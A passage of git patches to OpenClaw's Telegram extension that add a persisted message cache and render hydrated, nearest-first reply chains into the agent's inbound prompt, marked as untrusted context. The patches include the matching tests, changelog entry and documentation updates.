= [], + replyChain = [], storeAllowFrom, options, bot, @@ -578,6 +579,7 @@ export const buildTelegramMessageContext = async ({ msg, allMedia, replyMedia, + replyChain, isGroup, isForum, chatId, diff --git a/extensions/telegram/src/bot-message-context.types.ts b/extensions/telegram/src/bot-message-context.types.ts index dbb500021bd..cc21f06d35a 100644 --- a/extensions/telegram/src/bot-message-context.types.ts +++ b/extensions/telegram/src/bot-message-context.types.ts @@ -8,6 +8,7 @@ import type { } from "openclaw/plugin-sdk/config-types"; import type { HistoryEntry } from "openclaw/plugin-sdk/reply-history"; import type { StickerMetadata, TelegramContext } from "./bot/types.js"; +import type { TelegramReplyChainEntry } from "./message-cache.js"; export type TelegramMediaRef = { path: string; @@ -70,6 +71,7 @@ export type BuildTelegramMessageContextParams = { primaryCtx: TelegramContext; allMedia: TelegramMediaRef[]; replyMedia?: TelegramMediaRef[]; + replyChain?: TelegramReplyChainEntry[]; storeAllowFrom: string[]; options?: TelegramMessageContextOptions; bot: Bot; diff --git a/extensions/telegram/src/bot-message.ts b/extensions/telegram/src/bot-message.ts index 7c6a1b4376e..f69d2c561b2 100644 --- a/extensions/telegram/src/bot-message.ts +++ b/extensions/telegram/src/bot-message.ts @@ -13,6 +13,7 @@ import { dispatchTelegramMessage } from "./bot-message-dispatch.js"; import type { TelegramBotOptions } from "./bot.types.js"; import { buildTelegramThreadParams } from "./bot/helpers.js"; import type { TelegramContext, TelegramStreamMode } from "./bot/types.js"; +import type { TelegramReplyChainEntry } from "./message-cache.js"; /** Dependencies injected once when creating the message processor. */ type TelegramMessageProcessorDeps = Omit< @@ -60,6 +61,7 @@ export const createTelegramMessageProcessor = (deps: TelegramMessageProcessorDep storeAllowFrom: string[], options?: TelegramMessageContextOptions, replyMedia?: TelegramMediaRef[], + replyChain?: TelegramReplyChainEntry[], ) => { const ingressReceivedAtMs = typeof options?.receivedAtMs === "number" && Number.isFinite(options.receivedAtMs) @@ -72,6 +74,7 @@ export const createTelegramMessageProcessor = (deps: TelegramMessageProcessorDep primaryCtx, allMedia, replyMedia, + replyChain, storeAllowFrom, options, bot, diff --git a/extensions/telegram/src/bot-native-commands.ts b/extensions/telegram/src/bot-native-commands.ts index f35d4747a7e..e3c856ea682 100644 --- a/extensions/telegram/src/bot-native-commands.ts +++ b/extensions/telegram/src/bot-native-commands.ts @@ -405,6 +405,7 @@ export type RegisterTelegramHandlerParams = { storeAllowFrom: string[], options?: TelegramMessageContextOptions, replyMedia?: TelegramMediaRef[], + replyChain?: import("./message-cache.js").TelegramReplyChainEntry[], ) => Promise; logger: ReturnType; }; diff --git a/extensions/telegram/src/bot.create-telegram-bot.test-harness.ts b/extensions/telegram/src/bot.create-telegram-bot.test-harness.ts index d765f77659a..d98a784f8d1 100644 --- a/extensions/telegram/src/bot.create-telegram-bot.test-harness.ts +++ b/extensions/telegram/src/bot.create-telegram-bot.test-harness.ts @@ -1,3 +1,4 @@ +import { rmSync } from "node:fs"; import type { OpenClawConfig } from "openclaw/plugin-sdk/config-types"; import type { MockFn } from "openclaw/plugin-sdk/plugin-test-runtime"; import type { GetReplyOptions, MsgContext } from "openclaw/plugin-sdk/reply-runtime"; @@ -460,6 +461,7 @@ beforeEach(() => { getRuntimeConfig.mockReset(); getRuntimeConfig.mockReturnValue(DEFAULT_TELEGRAM_TEST_CONFIG); sessionStoreEntries.value = {}; + rmSync(`${sessionStorePath}.telegram-messages.json`, { force: true }); loadSessionStoreMock.mockReset(); loadSessionStoreMock.mockImplementation(() => sessionStoreEntries.value); resolveStorePathMock.mockReset(); diff --git a/extensions/telegram/src/bot.test.ts b/extensions/telegram/src/bot.test.ts index b2f21680867..6f7e74d6315 100644 --- a/extensions/telegram/src/bot.test.ts +++ b/extensions/telegram/src/bot.test.ts @@ -1564,7 +1564,8 @@ describe("createTelegramBot", () => { expect(replySpy).toHaveBeenCalledTimes(1); const payload = replySpy.mock.calls[0][0]; - expect(payload.Body).toContain("[Quoting Ada id:9001]"); + expect(payload.Body).toContain("[Reply chain - nearest first]"); + expect(payload.Body).toContain("[1. Ada id:9001]"); expect(payload.Body).toContain('"summarize this"'); expect(payload.ReplyToId).toBe("9001"); expect(payload.ReplyToBody).toBe("summarize this"); @@ -1601,7 +1602,8 @@ describe("createTelegramBot", () => { expect(replySpy).toHaveBeenCalledTimes(1); const payload = replySpy.mock.calls[0][0]; - expect(payload.Body).toContain("[Replying to Ada id:9001]"); + expect(payload.Body).toContain("[Reply chain - nearest first]"); + expect(payload.Body).toContain("[1. Ada id:9001]"); expect(payload.Body).not.toContain("PK"); expect(payload.Body).not.toContain("unsafe reply text omitted"); expect(payload.ReplyToBody).toBeUndefined(); @@ -1665,6 +1667,110 @@ describe("createTelegramBot", () => { expect(mediaFetch).toHaveBeenCalledTimes(1); }); + it("hydrates reply chains from cached Telegram messages", async () => { + onSpy.mockClear(); + replySpy.mockClear(); + getFileSpy.mockClear(); + + const mediaFetch = vi.fn( + async () => + new Response(new Uint8Array([0x89, 0x50, 0x4e, 0x47]), { + status: 200, + headers: { "content-type": "image/png" }, + }), + ); + const ssrfMock = mockPinnedHostnameResolution(); + + try { + createTelegramBot({ + token: "tok", + telegramTransport: { + fetch: mediaFetch as typeof fetch, + sourceFetch: mediaFetch as typeof fetch, + close: async () => {}, + }, + }); + const handler = getOnHandler("message") as (ctx: Record) => Promise; + + await handler({ + message: { + chat: { id: 7, type: "private" }, + message_id: 9000, + date: 1736380700, + from: { id: 1, first_name: "Kesava" }, + photo: [{ file_id: "root-photo-1" }], + }, + me: { username: "openclaw_bot" }, + getFile: async () => ({ file_path: "media/root.jpg" }), + }); + + await handler({ + message: { + chat: { id: 7, type: "private" }, + message_id: 9001, + text: "r u back from hermes", + date: 1736380750, + from: { id: 2, first_name: "Ada" }, + reply_to_message: { + message_id: 9000, + photo: [{ file_id: "root-photo-1" }], + from: { id: 1, first_name: "Kesava" }, + }, + }, + me: { username: "openclaw_bot" }, + getFile: async () => ({ download: async () => new Uint8Array() }), + }); + + replySpy.mockClear(); + getFileSpy.mockClear(); + mediaFetch.mockClear(); + + await handler({ + message: { + chat: { id: 7, type: "private" }, + message_id: 9002, + text: "why did you reply?", + date: 1736380800, + from: { id: 3, first_name: "Grace" }, + reply_to_message: { + message_id: 9001, + text: "r u back from hermes", + from: { id: 2, first_name: "Ada" }, + }, + }, + me: { username: "openclaw_bot" }, + getFile: async () => ({ download: async () => new Uint8Array() }), + }); + } finally { + ssrfMock.mockRestore(); + } + + expect(replySpy).toHaveBeenCalledTimes(1); + const payload = replySpy.mock.calls[0][0] as { + ReplyChain?: Array<{ + messageId?: string; + body?: string; + mediaPath?: string; + mediaRef?: string; + replyToId?: string; + }>; + }; + expect(payload.ReplyChain).toEqual([ + expect.objectContaining({ + messageId: "9001", + body: "r u back from hermes", + replyToId: "9000", + }), + expect.objectContaining({ + messageId: "9000", + mediaRef: "telegram:file/root-photo-1", + }), + ]); + expect(payload.ReplyChain?.[1]?.mediaPath).toBeTruthy(); + expect(getFileSpy).toHaveBeenCalledWith("root-photo-1"); + expect(mediaFetch).toHaveBeenCalledTimes(1); + }); + it("does not fetch reply media for unauthorized DM replies", async () => { onSpy.mockClear(); replySpy.mockClear(); @@ -1833,7 +1939,8 @@ describe("createTelegramBot", () => { expect(replySpy).toHaveBeenCalledTimes(1); const payload = replySpy.mock.calls[0][0]; - expect(payload.Body).toContain("[Quoting unknown sender]"); + expect(payload.Body).toContain("[Reply chain - nearest first]"); + expect(payload.Body).toContain("[1. unknown sender]"); expect(payload.Body).toContain('"summarize this"'); expect(payload.ReplyToId).toBeUndefined(); expect(payload.ReplyToBody).toBe("summarize this"); @@ -1868,7 +1975,8 @@ describe("createTelegramBot", () => { expect(replySpy).toHaveBeenCalledTimes(1); const payload = replySpy.mock.calls[0][0]; - expect(payload.Body).toContain("[Quoting Ada id:9002]"); + expect(payload.Body).toContain("[Reply chain - nearest first]"); + expect(payload.Body).toContain("[1. Ada id:9002]"); expect(payload.Body).toContain('"summarize this"'); expect(payload.ReplyToId).toBe("9002"); expect(payload.ReplyToBody).toBe("summarize this"); From 99850d17ade6060715e7a3756fefb17334a801ba Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Fri, 8 May 2026 09:56:43 +0530 Subject: [PATCH 101/174] docs(telegram): document reply-chain cache --- CHANGELOG.md | 1 + docs/channels/telegram.md | 4 ++-- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4f927ba5896..460dd2ad7f8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -198,6 +198,7 @@ Docs: https://docs.openclaw.ai - Gateway/nodes: ignore malformed non-string capability entries from live nodes instead of throwing while listing the node catalog. - Gateway/pairing: preserve deliberately narrowed role-token scopes when approving device scope upgrades instead of regranting the whole approved baseline. - Telegram/ACP: keep chat-bound ACP replies durable by delivering final-only ACP output as final text instead of transient Telegram preview blocks. Thanks @shakkernerd. +- Telegram: hydrate replied-to messages as a persisted nearest-first reply chain so agents can see observed parent text, media refs, captions, senders, timestamps, and nested replies instead of guessing from a shallow reply id. - Gateway/watch: leave `OPENCLAW_TRACE_SYNC_IO` disabled by default in `pnpm gateway:watch:raw` so watch mode avoids noisy Node sync-I/O stack traces unless explicitly requested. - Codex app-server: close stdio stdin before force-killing the managed app-server, matching Codex single-client shutdown behavior and avoiding unsettled CLI exits after successful runs. - CLI/Codex: dispose registered agent harnesses during short-lived CLI shutdown so successful Codex-backed `agent --local` runs do not leave app-server child processes alive. diff --git a/docs/channels/telegram.md b/docs/channels/telegram.md index 392e60af7a4..7394532f60f 100644 --- a/docs/channels/telegram.md +++ b/docs/channels/telegram.md @@ -258,7 +258,7 @@ curl "https://api.telegram.org/bot/getUpdates" - Telegram is owned by the gateway process. - Routing is deterministic: Telegram inbound replies back to Telegram (the model does not pick channels). -- Inbound messages normalize into the shared channel envelope with reply metadata and media placeholders. +- Inbound messages normalize into the shared channel envelope with reply metadata, media placeholders, and persisted reply-chain context for Telegram replies the gateway has observed. - Group sessions are isolated by group ID. Forum topics append `:topic:` to keep topics isolated. - DM messages can carry `message_thread_id`; OpenClaw preserves the thread ID for replies but keeps DMs on the flat session by default. Configure `channels.telegram.dm.threadReplies: "inbound"`, `channels.telegram.direct..threadReplies: "inbound"`, `requireTopic: true`, or a matching topic config when you intentionally want DM topic session isolation. - Long polling uses grammY runner with per-chat/per-thread sequencing. Overall runner sink concurrency uses `agents.defaults.maxConcurrent`. @@ -773,7 +773,7 @@ curl "https://api.telegram.org/bot/getUpdates" - `channels.telegram.timeoutSeconds` overrides Telegram API client timeout (if unset, grammY default applies). Bot clients clamp configured values below the 60-second outbound text/typing request guard so grammY does not abort visible reply delivery before OpenClaw's transport guard and fallback can run. Long polling still uses a 45-second `getUpdates` request guard so idle polls are not abandoned indefinitely. - `channels.telegram.pollingStallThresholdMs` defaults to `120000`; tune between `30000` and `600000` only for false-positive polling-stall restarts. - group context history uses `channels.telegram.historyLimit` or `messages.groupChat.historyLimit` (default 50); `0` disables. - - reply/quote/forward supplemental context is currently passed as received. + - reply/quote/forward supplemental context is normalized into a nearest-first reply chain when the gateway has observed the parent messages; the observed-message cache is persisted beside the session store. Telegram only includes one shallow `reply_to_message` in updates, so chains older than the cache are limited to Telegram's current update payload. - Telegram allowlists primarily gate who can trigger the agent, not a full supplemental-context redaction boundary. - DM history controls: - `channels.telegram.dmHistoryLimit` From ac75d6f76e2f11e5885c2797a62f118088c14b97 Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Fri, 8 May 2026 10:31:46 +0530 Subject: [PATCH 102/174] fix(reply): render hydrated reply chain in inbound prompt --- src/auto-reply/reply/inbound-meta.test.ts | 56 +++++++++++++++++++++++ src/auto-reply/reply/inbound-meta.ts | 49 +++++++++++++++++++- 2 files changed, 103 insertions(+), 2 deletions(-) diff --git a/src/auto-reply/reply/inbound-meta.test.ts b/src/auto-reply/reply/inbound-meta.test.ts index bc82b1b3489..9f123ea81fc 100644 --- a/src/auto-reply/reply/inbound-meta.test.ts +++ b/src/auto-reply/reply/inbound-meta.test.ts @@ -64,6 +64,13 @@ function parseReplyPayload(text: string): Record { ) as Record; } +function parseReplyChainPayload(text: string): Array> { + return parseUntrustedJsonBlock( + text, + "Reply chain of current user message (untrusted, nearest first):", + ) as Array>; +} + function parseHistoryPayload(text: string): Array> { return parseUntrustedJsonBlock( text, @@ -479,6 +486,55 @@ describe("buildInboundUserContextPrefix", () => { expect(reply["body"]).toBe("quoted body"); }); + it("renders hydrated reply chain instead of duplicate one-hop reply target", () => { + const text = buildInboundUserContextPrefix({ + ReplyToSender: "Blair", + ReplyToBody: "The cache warmer is the piece I meant.", + ReplyChain: [ + { + messageId: "3001", + sender: "Blair", + senderId: "700002", + timestamp: 1778216405000, + body: "The cache warmer is the piece I meant.", + replyToId: "3000", + }, + { + messageId: "3000", + sender: "Avery", + senderId: "700001", + timestamp: 1778216400000, + body: "Architecture sketch for the cache warmer", + mediaType: "image", + mediaRef: "telegram:file/proof-photo-small", + }, + ], + } as TemplateContext); + + const replyChain = parseReplyChainPayload(text); + expect(replyChain).toEqual([ + { + message_id: "3001", + sender: "Blair", + sender_id: "700002", + timestamp_ms: 1778216405000, + body: "The cache warmer is the piece I meant.", + reply_to_id: "3000", + }, + { + message_id: "3000", + sender: "Avery", + sender_id: "700001", + timestamp_ms: 1778216400000, + body: "Architecture sketch for the cache warmer", + media_type: "image", + media_ref: "telegram:file/proof-photo-small", + }, + ]); + expect(text).not.toContain("Reply target of current user message"); + expect(parseConversationInfoPayload(text)["has_reply_context"]).toBe(true); + }); + it("includes sender_id in conversation info", () => { const text = buildInboundUserContextPrefix({ ChatType: "group", diff --git a/src/auto-reply/reply/inbound-meta.ts b/src/auto-reply/reply/inbound-meta.ts index 20e46398785..28eff716186 100644 --- a/src/auto-reply/reply/inbound-meta.ts +++ b/src/auto-reply/reply/inbound-meta.ts @@ -92,6 +92,42 @@ function buildLocationContextPayload(ctx: TemplateContext): Record value !== undefined) ? payload : undefined; } +function buildReplyChainPayload(ctx: TemplateContext): Array> { + if (!Array.isArray(ctx.ReplyChain)) { + return []; + } + return ctx.ReplyChain.flatMap((entry) => { + const body = sanitizePromptBody(entry.body); + const mediaType = normalizePromptMetadataString(entry.mediaType); + const mediaPath = normalizePromptMetadataString(entry.mediaPath); + const mediaRef = normalizePromptMetadataString(entry.mediaRef); + if (!body && !mediaType && !mediaPath && !mediaRef) { + return []; + } + return [ + { + message_id: normalizePromptMetadataString(entry.messageId), + thread_id: normalizePromptMetadataString(entry.threadId), + sender: normalizePromptMetadataString(entry.sender), + sender_id: normalizePromptMetadataString(entry.senderId), + sender_username: normalizePromptMetadataString(entry.senderUsername), + timestamp_ms: typeof entry.timestamp === "number" ? entry.timestamp : undefined, + body, + is_quote: entry.isQuote === true ? true : undefined, + media_type: mediaType, + media_path: mediaPath, + media_ref: mediaRef, + reply_to_id: normalizePromptMetadataString(entry.replyToId), + forwarded_from: normalizePromptMetadataString(entry.forwardedFrom), + forwarded_from_id: normalizePromptMetadataString(entry.forwardedFromId), + forwarded_from_username: normalizePromptMetadataString(entry.forwardedFromUsername), + forwarded_date_ms: + typeof entry.forwardedDate === "number" ? entry.forwardedDate : undefined, + }, + ]; + }); +} + function formatConversationTimestamp( value: unknown, envelope?: EnvelopeFormatOptions, @@ -194,6 +230,7 @@ export function buildInboundUserContextPrefix( const timestampStr = formatConversationTimestamp(ctx.Timestamp, envelope); const inboundHistory = Array.isArray(ctx.InboundHistory) ? ctx.InboundHistory : []; const boundedHistory = inboundHistory.slice(-MAX_UNTRUSTED_HISTORY_ENTRIES); + const replyChainPayload = buildReplyChainPayload(ctx); // Keep volatile conversation/message identifiers in the user-role block so the system // prompt stays byte-stable across task-scoped sessions and reply turns. @@ -227,7 +264,8 @@ export function buildInboundUserContextPrefix( is_forum: ctx.IsForum === true ? true : undefined, is_group_chat: !isDirect ? true : undefined, was_mentioned: ctx.WasMentioned === true ? true : undefined, - has_reply_context: sanitizePromptBody(ctx.ReplyToBody) ? true : undefined, + has_reply_context: + replyChainPayload.length > 0 || sanitizePromptBody(ctx.ReplyToBody) ? true : undefined, has_forwarded_context: normalizePromptMetadataString(ctx.ForwardedFrom) ? true : undefined, has_thread_starter: sanitizePromptBody(ctx.ThreadStarterBody) ? true : undefined, history_count: boundedHistory.length > 0 ? boundedHistory.length : undefined, @@ -267,7 +305,14 @@ export function buildInboundUserContextPrefix( } const replyToBody = sanitizePromptBody(ctx.ReplyToBody); - if (replyToBody) { + if (replyChainPayload.length > 0) { + blocks.push( + formatUntrustedJsonBlock( + "Reply chain of current user message (untrusted, nearest first):", + replyChainPayload, + ), + ); + } else if (replyToBody) { blocks.push( formatUntrustedJsonBlock("Reply target of current user message (untrusted, for context):", { sender_label: normalizePromptMetadataString(ctx.ReplyToSender), From a7cd93ec4dce1ad61ae80546c04234622cc44766 Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Fri, 8 May 2026 12:46:10 +0530 Subject: [PATCH 103/174] fix(telegram): share persisted reply cache buckets --- extensions/telegram/src/message-cache.test.ts | 71 +++++++++++++++++-- extensions/telegram/src/message-cache.ts | 34 ++++++++- 2 files changed, 98 insertions(+), 7 deletions(-) diff --git a/extensions/telegram/src/message-cache.test.ts b/extensions/telegram/src/message-cache.test.ts index 71f1448a2b3..04608709f0b 100644 --- a/extensions/telegram/src/message-cache.test.ts +++ b/extensions/telegram/src/message-cache.test.ts @@ -34,7 +34,7 @@ describe("telegram message cache", () => { chat: { id: 7, type: "private", first_name: "Ada" }, message_id: 9001, date: 1736380750, - text: "r u back from hermes", + text: "The cache warmer is the piece I meant", from: { id: 2, is_bot: false, first_name: "Ada" }, reply_to_message: { chat: { id: 7, type: "private", first_name: "Kesava" }, @@ -56,13 +56,13 @@ describe("telegram message cache", () => { msg: { chat: { id: 7, type: "private", first_name: "Grace" }, message_id: 9002, - text: "why did you reply?", + text: "Please explain what this reply was about", from: { id: 3, is_bot: false, first_name: "Grace" }, reply_to_message: { chat: { id: 7, type: "private", first_name: "Ada" }, message_id: 9001, date: 1736380750, - text: "r u back from hermes", + text: "The cache warmer is the piece I meant", from: { id: 2, is_bot: false, first_name: "Ada" }, } as Message["reply_to_message"], } as Message, @@ -71,7 +71,7 @@ describe("telegram message cache", () => { expect(chain).toEqual([ expect.objectContaining({ messageId: "9001", - body: "r u back from hermes", + body: "The cache warmer is the piece I meant", replyToId: "9000", }), expect.objectContaining({ @@ -84,4 +84,67 @@ describe("telegram message cache", () => { await rm(persistedPath, { force: true }); } }); + + it("shares one persisted bucket across live cache instances", async () => { + const storePath = `/tmp/openclaw-telegram-message-cache-shared-${process.pid}-${Date.now()}.json`; + const persistedPath = resolveTelegramMessageCachePath(storePath); + await rm(persistedPath, { force: true }); + try { + const firstCache = createTelegramMessageCache({ persistedPath }); + const secondCache = createTelegramMessageCache({ persistedPath }); + firstCache.record({ + accountId: "default", + chatId: 7, + msg: { + chat: { id: 7, type: "private", first_name: "Nora" }, + message_id: 9100, + date: 1736380700, + text: "Architecture sketch for the cache warmer", + from: { id: 1, is_bot: false, first_name: "Nora" }, + } as Message, + }); + secondCache.record({ + accountId: "default", + chatId: 7, + msg: { + chat: { id: 7, type: "private", first_name: "Ira" }, + message_id: 9101, + date: 1736380750, + text: "The cache warmer is the piece I meant", + from: { id: 2, is_bot: false, first_name: "Ira" }, + reply_to_message: { + chat: { id: 7, type: "private", first_name: "Nora" }, + message_id: 9100, + date: 1736380700, + text: "Architecture sketch for the cache warmer", + from: { id: 1, is_bot: false, first_name: "Nora" }, + } as Message["reply_to_message"], + } as Message, + }); + + const reloadedCache = createTelegramMessageCache({ persistedPath }); + const chain = buildTelegramReplyChain({ + cache: reloadedCache, + accountId: "default", + chatId: 7, + msg: { + chat: { id: 7, type: "private", first_name: "Mina" }, + message_id: 9102, + text: "Please explain what this reply was about", + from: { id: 3, is_bot: false, first_name: "Mina" }, + reply_to_message: { + chat: { id: 7, type: "private", first_name: "Ira" }, + message_id: 9101, + date: 1736380750, + text: "The cache warmer is the piece I meant", + from: { id: 2, is_bot: false, first_name: "Ira" }, + } as Message["reply_to_message"], + } as Message, + }); + + expect(chain.map((entry) => entry.messageId)).toEqual(["9101", "9100"]); + } finally { + await rm(persistedPath, { force: true }); + } + }); }); diff --git a/extensions/telegram/src/message-cache.ts b/extensions/telegram/src/message-cache.ts index 8ba63be26d1..9d0d98e3a92 100644 --- a/extensions/telegram/src/message-cache.ts +++ b/extensions/telegram/src/message-cache.ts @@ -37,7 +37,12 @@ type PersistedTelegramMessageNode = TelegramReplyChainEntry & { sourceMessage: Message; }; +type TelegramMessageCacheBucket = { + messages: Map; +}; + const DEFAULT_MAX_MESSAGES = 5000; +const persistedMessageCacheBuckets = new Map(); function telegramMessageCacheKey(params: { accountId: string; @@ -243,14 +248,37 @@ function persistMessages(params: { }); } +function resolveMessageCacheBucket(params: { + persistedPath?: string; + maxMessages: number; +}): TelegramMessageCacheBucket { + const { persistedPath, maxMessages } = params; + if (!persistedPath) { + return { messages: new Map() }; + } + const existing = persistedMessageCacheBuckets.get(persistedPath); + if (existing) { + if (!fs.existsSync(persistedPath)) { + existing.messages.clear(); + } + return existing; + } + const bucket = { + messages: readPersistedMessages(persistedPath, maxMessages), + }; + persistedMessageCacheBuckets.set(persistedPath, bucket); + return bucket; +} + export function createTelegramMessageCache(params?: { maxMessages?: number; persistedPath?: string; }): TelegramMessageCache { const maxMessages = params?.maxMessages ?? DEFAULT_MAX_MESSAGES; - const messages = params?.persistedPath - ? readPersistedMessages(params.persistedPath, maxMessages) - : new Map(); + const { messages } = resolveMessageCacheBucket({ + persistedPath: params?.persistedPath, + maxMessages, + }); const get: TelegramMessageCache["get"] = ({ accountId, chatId, messageId }) => { if (!messageId) { From 8e94689add8a9f05d979099154e88a25e411d134 Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Fri, 8 May 2026 12:58:39 +0530 Subject: [PATCH 104/174] refactor(telegram): distill reply chain hydration --- .../telegram/src/bot-handlers.runtime.ts | 58 +++--- .../src/bot-message-context.session.ts | 182 ++++++++---------- extensions/telegram/src/message-cache.ts | 83 ++------ 3 files changed, 125 insertions(+), 198 deletions(-) diff --git a/extensions/telegram/src/bot-handlers.runtime.ts b/extensions/telegram/src/bot-handlers.runtime.ts index edae761b232..9d8ab7cab40 100644 --- a/extensions/telegram/src/bot-handlers.runtime.ts +++ b/extensions/telegram/src/bot-handlers.runtime.ts @@ -554,39 +554,37 @@ export const registerTelegramHandlers = ({ const replyMedia: TelegramMediaRef[] = []; const replyChain: TelegramReplyChainEntry[] = []; for (const node of chain) { + let mediaRef: TelegramMediaRef | undefined; const replyFileId = resolveInboundMediaFileId(node.sourceMessage); - if (!replyFileId || !hasInboundMedia(node.sourceMessage)) { - replyChain.push(toReplyChainEntry(node)); - continue; - } - try { - const media = await resolveMedia({ - ctx: { - message: node.sourceMessage, - me: ctx.me, - getFile: async () => await bot.api.getFile(replyFileId), - }, - maxBytes: mediaMaxBytes, - ...mediaRuntimeOptions, - }); - if (!media) { - replyChain.push(toReplyChainEntry(node)); - continue; + if (replyFileId && hasInboundMedia(node.sourceMessage)) { + try { + const media = await resolveMedia({ + ctx: { + message: node.sourceMessage, + me: ctx.me, + getFile: async () => await bot.api.getFile(replyFileId), + }, + maxBytes: mediaMaxBytes, + ...mediaRuntimeOptions, + }); + mediaRef = media + ? { + path: media.path, + ...(media.contentType ? { contentType: media.contentType } : {}), + ...(media.stickerMetadata ? { stickerMetadata: media.stickerMetadata } : {}), + } + : undefined; + } catch (err) { + logger.warn( + { chatId: ctx.message.chat.id, error: String(err) }, + "reply media fetch failed", + ); } - const mediaRef: TelegramMediaRef = { - path: media.path, - ...(media.contentType ? { contentType: media.contentType } : {}), - ...(media.stickerMetadata ? { stickerMetadata: media.stickerMetadata } : {}), - }; - replyMedia.push(mediaRef); - replyChain.push(toReplyChainEntry(node, mediaRef)); - } catch (err) { - logger.warn( - { chatId: ctx.message.chat.id, error: String(err) }, - "reply media fetch failed", - ); - replyChain.push(toReplyChainEntry(node)); } + if (mediaRef) { + replyMedia.push(mediaRef); + } + replyChain.push(toReplyChainEntry(node, mediaRef)); } return { replyMedia, replyChain }; }; diff --git a/extensions/telegram/src/bot-message-context.session.ts b/extensions/telegram/src/bot-message-context.session.ts index 6fd0467c0fe..930e5ce4b11 100644 --- a/extensions/telegram/src/bot-message-context.session.ts +++ b/extensions/telegram/src/bot-message-context.session.ts @@ -88,6 +88,59 @@ export async function resolveTelegramMessageContextStorePath(params: { }); } +function replyTargetToChainEntry(replyTarget: TelegramReplyTarget): TelegramReplyChainEntry { + return { + ...(replyTarget.id ? { messageId: replyTarget.id } : {}), + sender: replyTarget.sender, + ...(replyTarget.senderId ? { senderId: replyTarget.senderId } : {}), + ...(replyTarget.senderUsername ? { senderUsername: replyTarget.senderUsername } : {}), + ...(replyTarget.body ? { body: replyTarget.body } : {}), + ...(replyTarget.kind === "quote" ? { isQuote: true } : {}), + ...(replyTarget.forwardedFrom?.from ? { forwardedFrom: replyTarget.forwardedFrom.from } : {}), + ...(replyTarget.forwardedFrom?.fromId + ? { forwardedFromId: replyTarget.forwardedFrom.fromId } + : {}), + ...(replyTarget.forwardedFrom?.fromUsername + ? { forwardedFromUsername: replyTarget.forwardedFrom.fromUsername } + : {}), + ...(replyTarget.forwardedFrom?.date + ? { forwardedDate: replyTarget.forwardedFrom.date * 1000 } + : {}), + }; +} + +function stripReplyChainForwarded(entry: TelegramReplyChainEntry): TelegramReplyChainEntry { + const { + forwardedFrom: _forwardedFrom, + forwardedFromId: _forwardedFromId, + forwardedFromUsername: _forwardedFromUsername, + forwardedDate: _forwardedDate, + ...withoutForwarded + } = entry; + return withoutForwarded; +} + +function formatReplyChainEntry(entry: TelegramReplyChainEntry, index: number): string { + const labels = [ + `${index + 1}. ${entry.sender ?? "unknown sender"}`, + entry.messageId ? `id:${entry.messageId}` : undefined, + entry.replyToId ? `reply_to:${entry.replyToId}` : undefined, + entry.timestamp ? new Date(entry.timestamp).toISOString() : undefined, + ].filter(Boolean); + const bodyLines = [ + entry.forwardedFrom + ? `[Forwarded from ${entry.forwardedFrom}${ + entry.forwardedDate ? ` at ${new Date(entry.forwardedDate).toISOString()}` : "" + }]` + : undefined, + entry.isQuote && entry.body ? `"${entry.body}"` : entry.body, + entry.mediaType ? `` : undefined, + entry.mediaPath ? `[media_path:${entry.mediaPath}]` : undefined, + entry.mediaRef ? `[media_ref:${entry.mediaRef}]` : undefined, + ].filter(Boolean); + return `[${labels.join(" ")}]\n${bodyLines.join("\n")}`; +} + export async function buildTelegramInboundContextPayload(params: { cfg: OpenClawConfig; primaryCtx: TelegramContext; @@ -228,105 +281,40 @@ export async function buildTelegramInboundContextPayload(params: { forwardedFrom: visibleReplyForwardedFrom, } : null; - const fallbackReplyChain: TelegramReplyChainEntry[] = visibleReplyTarget - ? [ - { - ...(visibleReplyTarget.id ? { messageId: visibleReplyTarget.id } : {}), - sender: visibleReplyTarget.sender, - ...(visibleReplyTarget.senderId ? { senderId: visibleReplyTarget.senderId } : {}), - ...(visibleReplyTarget.senderUsername - ? { senderUsername: visibleReplyTarget.senderUsername } - : {}), - ...(visibleReplyTarget.body ? { body: visibleReplyTarget.body } : {}), - ...(visibleReplyTarget.kind === "quote" ? { isQuote: true } : {}), - ...(visibleReplyTarget.forwardedFrom?.from - ? { forwardedFrom: visibleReplyTarget.forwardedFrom.from } - : {}), - ...(visibleReplyTarget.forwardedFrom?.fromId - ? { forwardedFromId: visibleReplyTarget.forwardedFrom.fromId } - : {}), - ...(visibleReplyTarget.forwardedFrom?.fromUsername - ? { forwardedFromUsername: visibleReplyTarget.forwardedFrom.fromUsername } - : {}), - ...(visibleReplyTarget.forwardedFrom?.date - ? { forwardedDate: visibleReplyTarget.forwardedFrom.date * 1000 } - : {}), - }, - ] - : []; - const rawReplyChain = replyChain.length > 0 ? replyChain : fallbackReplyChain; - const replyChainWithVisibleTarget = - visibleReplyTarget && rawReplyChain[0]?.messageId === visibleReplyTarget.id - ? [ - { - ...rawReplyChain[0], - ...(visibleReplyTarget.body ? { body: visibleReplyTarget.body } : {}), - ...(visibleReplyTarget.kind === "quote" ? { isQuote: true } : {}), - ...(visibleReplyTarget.forwardedFrom?.from - ? { forwardedFrom: visibleReplyTarget.forwardedFrom.from } - : {}), - ...(visibleReplyTarget.forwardedFrom?.fromId - ? { forwardedFromId: visibleReplyTarget.forwardedFrom.fromId } - : {}), - ...(visibleReplyTarget.forwardedFrom?.fromUsername - ? { forwardedFromUsername: visibleReplyTarget.forwardedFrom.fromUsername } - : {}), - ...(visibleReplyTarget.forwardedFrom?.date - ? { forwardedDate: visibleReplyTarget.forwardedFrom.date * 1000 } - : {}), - }, - ...rawReplyChain.slice(1), - ] - : rawReplyChain; - const visibleReplyChain = replyChainWithVisibleTarget - .filter((entry) => - shouldIncludeGroupSupplementalContext({ + const visibleReplyTargetEntry = visibleReplyTarget + ? replyTargetToChainEntry(visibleReplyTarget) + : undefined; + const visibleReplyTargetById = new Map( + visibleReplyTargetEntry?.messageId + ? [[visibleReplyTargetEntry.messageId, visibleReplyTargetEntry]] + : [], + ); + const rawReplyChain = + replyChain.length > 0 ? replyChain : visibleReplyTargetEntry ? [visibleReplyTargetEntry] : []; + const visibleReplyChain = rawReplyChain.flatMap((entry) => { + const visibleEntry = { + ...entry, + ...(entry.messageId ? visibleReplyTargetById.get(entry.messageId) : undefined), + }; + if ( + !shouldIncludeGroupSupplementalContext({ kind: "quote", - senderId: entry.senderId, - senderUsername: entry.senderUsername, - }), - 